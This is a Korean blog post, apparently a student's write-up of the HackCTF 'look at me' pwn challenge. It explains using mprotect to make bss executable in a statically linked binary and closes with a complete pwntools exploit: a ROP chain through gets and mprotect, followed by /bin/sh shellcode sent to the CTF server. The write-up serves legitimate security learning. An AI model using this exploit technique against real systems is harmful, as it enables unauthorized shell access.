혜랑's STORY

[HackCTF] look at me 풀이 본문

2021 SISS 21기 활동/여름방학 System

[HackCTF] look at me 풀이

hyerang0125 2021. 7. 15. 12:49

1. checksec

32bit 파일이고 NX와 Partial RELRO가 걸려있다. 지난주에 배웠던 SROP를 사용하여 문제를 풀어보자.

2. IDA

main() 함수

look_at_me() 함수

IDA를 통해 바이너리를 열어 보았는데 함수의 개수가 923개로 매우 많았다. 왜 그런지 리눅스 file 명령어를 통해 알아보자.

statically linked 파일은 필요한 모든 함수가 바이너리 안에 모두 내장되어 있다. 따라서 파일의 크기는 크지만 함수 주소를 쉽게 구할 수 있다. 그러나 system 함수는 존재하지 않기 때문에 다른 방법을 통해 "/bin/sh"를  실행시켜야 한다.

 

[새로운 개념 : mprotect]

mprotect 함수는 NX bit같은 특정 메모리 실행 권한을 변경할 수 있는 함수이다. 따라서 보호 기법이 걸려 있어도 사용자가 이 함수를 호출해 쉘 코드를 실행시킬 수 있는 환경을 만들 수 있다. 따라서 이 함수를 실행시키고 고정 주소인 bss 영역에 쉘 코드를 입력하면 된다.

주의해야 할 점은 mprotect의 인자가 권한을 변경할 시작 주소, 길이, rwx 권한인데 첫 번째 인자인 주소가 0x1000의 배수이어야 한다. 따라서 주소 뒤 3자리는 000이어야 한다.

 

3. 구해야 할 목록

  • mprotect
  • gets
  • bss

mprotect의 주의할 점을 고려하여 bss의 주소로는 0x080eaf80 전인 0x080ea000부터 사용하면 된다.

  • gadgets
    • pop ebx; ret;
    • pop esi; pop edi; pop ebp; ret;

Exploit Code

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3017)
#p = process('./lookatme')

mprotect = 0x0806e0f0
gets = 0x0804f120
bss = 0x080eaf80
bss_start = 0x080ea000

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

pr = 0x080583bf
pppr = 0x08091e77

p.recvline()

payload = 'A'*28
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)

payload += p32(mprotect)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(0x2000)
payload += p32(0x7)

payload += p32(bss)

p.sendline(payload)
p.sendline(shellcode)
p.interactive()

성공했다!